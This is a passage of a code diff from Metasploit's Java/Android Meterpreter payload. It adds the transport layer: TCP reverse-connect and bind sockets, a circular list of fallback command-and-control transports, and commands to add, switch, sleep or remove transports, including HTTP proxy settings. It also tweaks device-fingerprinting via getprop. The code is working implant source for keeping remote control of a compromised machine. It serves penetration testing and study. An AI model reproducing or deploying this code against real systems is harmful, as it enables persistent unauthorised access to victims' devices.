// for MSF to terminate instead.
private class SocketDisposer extends Thread {
private final Socket sock;
private final DataInputStream in;
private final DataOutputStream out;
public SocketDisposer(Socket s, DataInputStream in, DataOutputStream out) {
this.sock = s;
this.in = in;
this.out = out;
}
public void run() {
if (this.in != null) {
try {
byte[] buffer = new byte[16];
while (true) {
this.in.readFully(buffer);
}
}
catch (IOException ex) {
try {
this.in.close();
}
catch (IOException ex2) {
}
}
}
if (this.out != null) {
try {
// keep writing until the socket dies, from there
// we'll know that the other end has actually closed it.
while (true) {
this.out.writeByte((byte)0);
}
}
catch (IOException ex) {
try {
this.out.flush();
this.out.close();
}
catch (IOException ex2) {
}
}
}
if (this.sock != null) {
try {
this.sock.close();
}
catch (IOException ex) {
}
}
}
}
public TcpTransport(String url) {
super(url);
int portStart = url.lastIndexOf(":");
this.port = Integer.parseInt(url.substring(portStart + 1));
this.host = url.substring(url.lastIndexOf("/") + 1, portStart);
}
public void bind(DataInputStream in, OutputStream rawOut) {
this.inputStream = in;
this.outputStream = new DataOutputStream(rawOut);
}
public int parseConfig(byte[] configuration, int offset) {
return this.parseTimeouts(configuration, offset);
}
public boolean switchUri(String uri) {
// tcp transports don't support URL switching
return false;
}
public void disconnect() {
SocketDisposer s = new SocketDisposer(this.sock, this.inputStream, this.outputStream);
this.sock = null;
this.inputStream = null;
this.outputStream = null;
s.start();
}
protected boolean tryConnect(Meterpreter met) throws IOException {
if (this.inputStream != null) {
// we're already connected
return true;
}
if (this.host.equals("")) {
ServerSocket server = new ServerSocket(this.port);
this.sock = server.accept();
server.close();
} else {
this.sock = new Socket(this.host, this.port);
}
if (this.sock != null) {
this.sock.setSoTimeout(500);
this.inputStream = new DataInputStream(this.sock.getInputStream());
this.outputStream = new DataOutputStream(this.sock.getOutputStream());
// this point we are effectively stageless, so flush the socket
this.flushInputStream(met.getIgnoreBlocks());
return true;
}
return false;
}
public TLVPacket readPacket() throws IOException {
int len = this.inputStream.readInt();
int type = this.inputStream.readInt();
return new TLVPacket(this.inputStream, len - 8);
}
public void writePacket(TLVPacket packet, int type) throws IOException {
byte[] data = packet.toByteArray();
synchronized (this.outputStream) {
this.outputStream.writeInt(data.length + 8);
this.outputStream.writeInt(type);
this.outputStream.write(data);
this.outputStream.flush();
}
}
public boolean dispatch(Meterpreter met) {
long lastPacket = System.currentTimeMillis();
int result = 0;
while (!met.hasSessionExpired() &&
System.currentTimeMillis() < lastPacket + this.commTimeout) {
try {
TLVPacket request = this.readPacket();
if (request == null) {
continue;
}
// got a packet, update the timestamp
lastPacket = System.currentTimeMillis();
TLVPacket response = request.createResponse();
result = met.getCommandManager().executeCommand(met, request, response);
this.writePacket(response, TLVPacket.PACKET_TYPE_RESPONSE);
if (result == Command.EXIT_DISPATCH) {
return true;
}
} catch (SocketTimeoutException ex) {
// socket comms timeout, didn't get a packet,
// this is ok, so we ignore it
} catch (SocketException ex) {
// sometimes we'll have issues where writing a response when we're exiting
// the dispatch is intended, so we'll check for that here too
if (result == Command.EXIT_DISPATCH) {
return true;
}
}
catch (Exception ex) {
// any other type of exception isn't good.
break;
}
}
// if we get here we assume things aren't good, or we have a session timeout/expiration
return false;
}
private void flushInputStream(int blocks) throws IOException {
// we can assume that the server is trying to send the second
// stage at this point, so let's just read that in for now.
for (int i = 0; i < blocks; i++) {
int blobLen = this.inputStream.readInt();
byte[] throwAway = new byte[blobLen];
this.inputStream.readFully(throwAway);
}
// and finally discard the block count
this.inputStream.readInt();
}
}

View File

@ -0,0 +1,109 @@
package com.metasploit.meterpreter;
import java.io.DataInputStream;
import java.io.OutputStream;
import java.io.IOException;
public abstract class Transport {
public static final long MS = 1000L;
private Transport prev;
private Transport next;
protected String url;
protected long commTimeout;
protected long retryTotal;
protected long retryWait;
protected abstract boolean tryConnect(Meterpreter met) throws IOException;
public abstract int parseConfig(byte[] configuration, int offset);
public abstract void bind(DataInputStream in, OutputStream rawOut);
public abstract void disconnect();
public abstract boolean dispatch(Meterpreter met);
public abstract void writePacket(TLVPacket packet, int type) throws IOException;
public abstract TLVPacket readPacket() throws IOException;
public abstract boolean switchUri(String uri);
protected Transport(String url) {
this.url = url;
}
protected int parseTimeouts(byte[] configuration, int offset) {
// starts with the comms timeout
this.commTimeout = MS * Meterpreter.unpack32(configuration, offset);
offset += 4;
// then we have the retry total
this.retryTotal = MS * Meterpreter.unpack32(configuration, offset);
offset += 4;
// then we have the retry wait
this.retryWait = MS * Meterpreter.unpack32(configuration, offset);
offset += 4;
return offset;
}
public String getUrl() {
return this.url;
}
public long getCommTimeout() {
return this.commTimeout / MS;
}
public void setCommTimeout(long commTimeout) {
this.commTimeout = commTimeout * MS;
}
public long getRetryTotal() {
return this.retryTotal / MS;
}
public void setRetryTotal(long retryTotal) {
this.retryTotal = retryTotal * MS;
}
public long getRetryWait() {
return this.retryWait / MS;
}
public void setRetryWait(long retryWait) {
this.retryWait = retryWait * MS;
}
public boolean connect(Meterpreter met) {
long lastAttempt = System.currentTimeMillis();
while (System.currentTimeMillis() < lastAttempt + this.retryTotal) {
try {
if (this.tryConnect(met)) {
return true;
}
} catch (Exception e) {
}
met.sleep(this.retryWait);
}
return false;
}
public void setPrev(Transport t) {
this.prev = t;
}
public void setNext(Transport t) {
this.next = t;
}
public Transport getPrev() {
return this.prev;
}
public Transport getNext() {
return this.next;
}
}

View File

@ -0,0 +1,70 @@
package com.metasploit.meterpreter;
public class TransportList {
private Transport transport = null;
private Transport nextTransport = null;
private long wait = 0;
public boolean isEmpty() {
return this.transport == null;
}
public Transport current() {
return this.transport;
}
public boolean changeRequested() {
return this.nextTransport != null;
}
public void moveNext(Meterpreter met) {
if (this.wait > 0) {
met.sleep(this.wait);
this.wait = 0;
}
if (this.nextTransport == null) {
this.transport = this.transport.getNext();
} else {
this.transport = this.nextTransport;
this.nextTransport = null;
}
}
public void setNext(Transport t, long wait) {
this.wait = wait;
this.nextTransport = t;
}
public void add(Transport t) {
if (this.transport == null) {
// first transport, point it at itself
t.setNext(t);
t.setPrev(t);
this.transport = t;
} else {
// wire it into the end of the circular list
this.transport.getPrev().setNext(t);
t.setPrev(this.transport.getPrev());
t.setNext(this.transport);
this.transport.setPrev(t);
}
}
public void remove(Transport t) {
if (this.transport == this.transport.getNext()) {
// removing the last one
this.transport = null;
} else {
// move to the next if the current one is being removed
if (this.transport == t) {
this.transport = this.transport.getNext();
}
// pointer juggle
t.getPrev().setNext(t.getNext());
t.getNext().setPrev(t.getPrev());
}
}
}

View File

@ -21,6 +21,11 @@ public interface Command {
*/
public static final int ERROR_FAILURE = 1;
/**
* Status code indicating a clean dispatch loop exit.
*/
public static final int EXIT_DISPATCH = 2;
/**
* Execute this command.
*

View File

@ -18,6 +18,16 @@ public class Loader implements ExtensionLoader {
mgr.registerCommand("core_channel_read", core_channel_read.class);
mgr.registerCommand("core_channel_write", core_channel_write.class);
mgr.registerCommand("core_loadlib", core_loadlib.class);
mgr.registerCommand("core_uuid", core_uuid.class);
mgr.registerCommand("core_machine_id", core_machine_id.class);
mgr.registerCommand("core_shutdown", core_shutdown.class);
mgr.registerCommand("core_transport_set_timeouts", core_transport_set_timeouts.class);
mgr.registerCommand("core_transport_list", core_transport_list.class);
mgr.registerCommand("core_transport_add", core_transport_add.class);
mgr.registerCommand("core_transport_change", core_transport_change.class);
mgr.registerCommand("core_transport_sleep", core_transport_sleep.class);
mgr.registerCommand("core_transport_next", core_transport_next.class);
mgr.registerCommand("core_transport_prev", core_transport_prev.class);
mgr.registerCommand("core_transport_remove", core_transport_remove.class);
}
}

View File

@ -20,9 +20,9 @@ public class core_machine_id implements Command {
private String getSerial() throws IOException {
StringBuffer stringBuffer = new StringBuffer();
stringBuffer.append(Utils.runCommand("getprop ro.serialno"));
stringBuffer.append(Utils.runCommand("getprop ro.product.brand"));
stringBuffer.append(Utils.runCommand("getprop ro.product.model"));
stringBuffer.append(Utils.runCommand("getprop ro.serialno").trim());
stringBuffer.append(Utils.runCommand("getprop ro.product.brand").trim());
stringBuffer.append(Utils.runCommand("getprop ro.product.model").trim());
return stringBuffer.toString();
}
@ -37,7 +37,7 @@ public class core_machine_id implements Command {
for (int j = 0; j < hdPrefixes.length; j++) {
String prefix = hdPrefixes[j];
if (hdname.startsWith(prefix)) {
return hdname.substring(prefix.length());
return hdname.substring(prefix.length()).trim();
}
}
}

View File

@ -0,0 +1,13 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import java.io.IOException;
public class core_shutdown implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
return EXIT_DISPATCH;
}
}

View File

@ -0,0 +1,71 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.Transport;
import com.metasploit.meterpreter.TcpTransport;
import com.metasploit.meterpreter.HttpTransport;
import com.metasploit.meterpreter.Utils;
import com.metasploit.meterpreter.command.Command;
public class core_transport_add implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Transport t = null;
String transportUrl = request.getStringValue(TLVType.TLV_TYPE_TRANS_URL);
if (transportUrl.startsWith("tcp")) {
t = new TcpTransport(transportUrl);
} else {
HttpTransport h = new HttpTransport(transportUrl);
// do the HTTP specific stuff here, since we know what we are
h.setUserAgent(request.getStringValue(TLVType.TLV_TYPE_TRANS_UA, new String()));
h.setProxy(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_HOST, new String()));
h.setProxyUser(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_USER, new String()));
h.setProxyPass(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_PASS, new String()));
h.setCertHash(request.getRawValue(TLVType.TLV_TYPE_TRANS_CERT_HASH, null));
t = h;
}
// set the timeouts, defaulting the values that are currently set
// for the current sesion if nothing has been specified
try {
long sessionExpiry = request.getIntValue(TLVType.TLV_TYPE_TRANS_SESSION_EXP);
meterpreter.setExpiry(sessionExpiry);
}
catch (IllegalArgumentException ex) {
}
try {
long commTimeout = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT);
t.setCommTimeout(commTimeout);
}
catch (IllegalArgumentException ex) {
t.setCommTimeout(meterpreter.getTransports().current().getCommTimeout());
}
try {
long retryTotal = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL);
t.setRetryTotal(retryTotal);
}
catch (IllegalArgumentException ex) {
t.setRetryTotal(meterpreter.getTransports().current().getRetryTotal());
}
try {
long retryWait = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_WAIT);
t.setRetryWait(retryWait);
}
catch (IllegalArgumentException ex) {
t.setRetryWait(meterpreter.getTransports().current().getRetryWait());
}
meterpreter.getTransports().add(t);
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,26 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.Transport;
import com.metasploit.meterpreter.TcpTransport;
import com.metasploit.meterpreter.HttpTransport;
import com.metasploit.meterpreter.Utils;
import com.metasploit.meterpreter.command.Command;
public class core_transport_change extends core_transport_add {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int result = super.execute(meterpreter, request, response);
if (result == ERROR_SUCCESS) {
// transport added as a previous element, switch it
meterpreter.getTransports().setNext(meterpreter.getTransports().current().getPrev(), 0);
result = EXIT_DISPATCH;
}
return result;
}
}

View File

@ -0,0 +1,60 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.Transport;
import com.metasploit.meterpreter.HttpTransport;
import com.metasploit.meterpreter.Utils;
import com.metasploit.meterpreter.command.Command;
public class core_transport_list implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Transport first = meterpreter.getTransports().current();
Transport t = first;
// add the session expiry
response.add(TLVType.TLV_TYPE_TRANS_SESSION_EXP, (int)meterpreter.getExpiry());
do {
TLVPacket transportData = new TLVPacket();
transportData.add(TLVType.TLV_TYPE_TRANS_URL, t.getUrl());
transportData.add(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT, (int)t.getCommTimeout());
transportData.add(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL, (int)t.getRetryTotal());
transportData.add(TLVType.TLV_TYPE_TRANS_RETRY_WAIT, (int)t.getRetryWait());
if (t instanceof HttpTransport) {
HttpTransport h = (HttpTransport)t;
if (h.getUserAgent().length() > 0) {
transportData.add(TLVType.TLV_TYPE_TRANS_UA, h.getUserAgent());
}
if (h.getProxy().length() > 0) {
transportData.add(TLVType.TLV_TYPE_TRANS_PROXY_HOST, h.getProxy());
}
if (h.getProxyUser().length() > 0) {
transportData.add(TLVType.TLV_TYPE_TRANS_PROXY_USER, h.getProxyUser());
}
if (h.getProxyPass().length() > 0) {
transportData.add(TLVType.TLV_TYPE_TRANS_PROXY_PASS, h.getProxyPass());
}
if (h.getCertHash() != null) {
transportData.add(TLVType.TLV_TYPE_TRANS_CERT_HASH, h.getCertHash());
}
}
response.addOverflow(TLVType.TLV_TYPE_TRANS_GROUP, transportData);
t = t.getNext();
} while (t != first);
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,20 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.Transport;
import com.metasploit.meterpreter.TcpTransport;
import com.metasploit.meterpreter.HttpTransport;
import com.metasploit.meterpreter.Utils;
import com.metasploit.meterpreter.command.Command;
public class core_transport_next implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
meterpreter.getTransports().setNext(meterpreter.getTransports().current().getNext(), 0);
return EXIT_DISPATCH;
}
}

View File

@ -0,0 +1,21 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.Transport;
import com.metasploit.meterpreter.TcpTransport;
import com.metasploit.meterpreter.HttpTransport;
import com.metasploit.meterpreter.Utils;
import com.metasploit.meterpreter.command.Command;
public class core_transport_prev implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
meterpreter.getTransports().setNext(meterpreter.getTransports().current().getPrev(), 0);
return EXIT_DISPATCH;
}
}

View File

@ -0,0 +1,45 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.Transport;
import com.metasploit.meterpreter.TcpTransport;
import com.metasploit.meterpreter.HttpTransport;
import com.metasploit.meterpreter.Utils;
import com.metasploit.meterpreter.command.Command;
public class core_transport_remove implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Transport t = meterpreter.getTransports().current();
// check if this is the last transport
if (t == t.getNext()) {
// cant' delete the last transport
return ERROR_FAILURE;
}
String transportUrl = request.getStringValue(TLVType.TLV_TYPE_TRANS_URL);
Transport found = null;
do {
if (t.getUrl().equals(transportUrl)) {
found = t;
break;
}
t = t.getNext();
} while(t != meterpreter.getTransports().current());
if (found == null || found == meterpreter.getTransports().current()) {
// invalid transport specified (missing or current)
return ERROR_FAILURE;
}
meterpreter.getTransports().remove(found);
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,54 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.Transport;
import com.metasploit.meterpreter.Utils;
import com.metasploit.meterpreter.command.Command;
public class core_transport_set_timeouts implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Transport currentTransport = meterpreter.getTransports().current();
try {
long sessionExpiry = request.getIntValue(TLVType.TLV_TYPE_TRANS_SESSION_EXP);
meterpreter.setExpiry(sessionExpiry);
}
catch (IllegalArgumentException ex) {
// session expiry not specified
}
try {
long commTimeout = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT);
currentTransport.setCommTimeout(commTimeout);
}
catch (IllegalArgumentException ex) {
// comm timeout not specified
}
try {
long retryTotal = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL);
currentTransport.setRetryTotal(retryTotal);
}
catch (IllegalArgumentException ex) {
// retry total not specified
}
try {
long retryWait = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_WAIT);
currentTransport.setRetryWait(retryWait);
}
catch (IllegalArgumentException ex) {
// retry wait not specified
}
response.add(TLVType.TLV_TYPE_TRANS_SESSION_EXP, (int)meterpreter.getExpiry());
response.add(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT, (int)currentTransport.getCommTimeout());
response.add(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL, (int)currentTransport.getRetryTotal());
response.add(TLVType.TLV_TYPE_TRANS_RETRY_WAIT, (int)currentTransport.getRetryWait());
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,28 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.Transport;
import com.metasploit.meterpreter.TcpTransport;
import com.metasploit.meterpreter.HttpTransport;
import com.metasploit.meterpreter.Utils;
import com.metasploit.meterpreter.command.Command;
public class core_transport_sleep implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int result = EXIT_DISPATCH;
try {
long sleep = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT) * Transport.MS;
meterpreter.getTransports().setNext(meterpreter.getTransports().current(), sleep);
}
catch (Exception ex) {
result = ERROR_FAILURE;
}
return result;
}
}

View File

@ -0,0 +1,17 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.Utils;
import com.metasploit.meterpreter.command.Command;
import java.io.IOException;
public class core_uuid implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
response.add(TLVType.TLV_TYPE_UUID, meterpreter.getUUID());
return ERROR_SUCCESS;
}
}

View File

@ -2,14 +2,14 @@
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-JavaPayload-Compatibility-android-api3</artifactId>
<artifactId>Metasploit-JavaPayload-Compatibility-android-api10</artifactId>
<parent>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-JavaPayload-Compatibility-parent</artifactId>
<version>1-SNAPSHOT</version>
</parent>
<packaging>jar</packaging>
<name>JavaPayload Compatibility Checks (Android API 3)</name>
<name>JavaPayload Compatibility Checks (Android API 10)</name>
<url>http://www.metasploit.com/</url>
<dependencies>
<dependency>
@ -72,8 +72,8 @@
<configuration>
<signature>
<groupId>net.sf.androidscents.signature</groupId>
<artifactId>android-api-level-1</artifactId>
<version>1.0_r2</version>
<artifactId>android-api-level-10</artifactId>
<version>2.3.3_r2</version>
</signature>
</configuration>
</execution>

View File

@ -52,8 +52,6 @@
<module>java16</module>
<module>java15</module>
<module>java14</module>
<module>java13</module>
<module>java12</module>
<module>android-api3</module>
<module>android-api10</module>
</modules>
</project>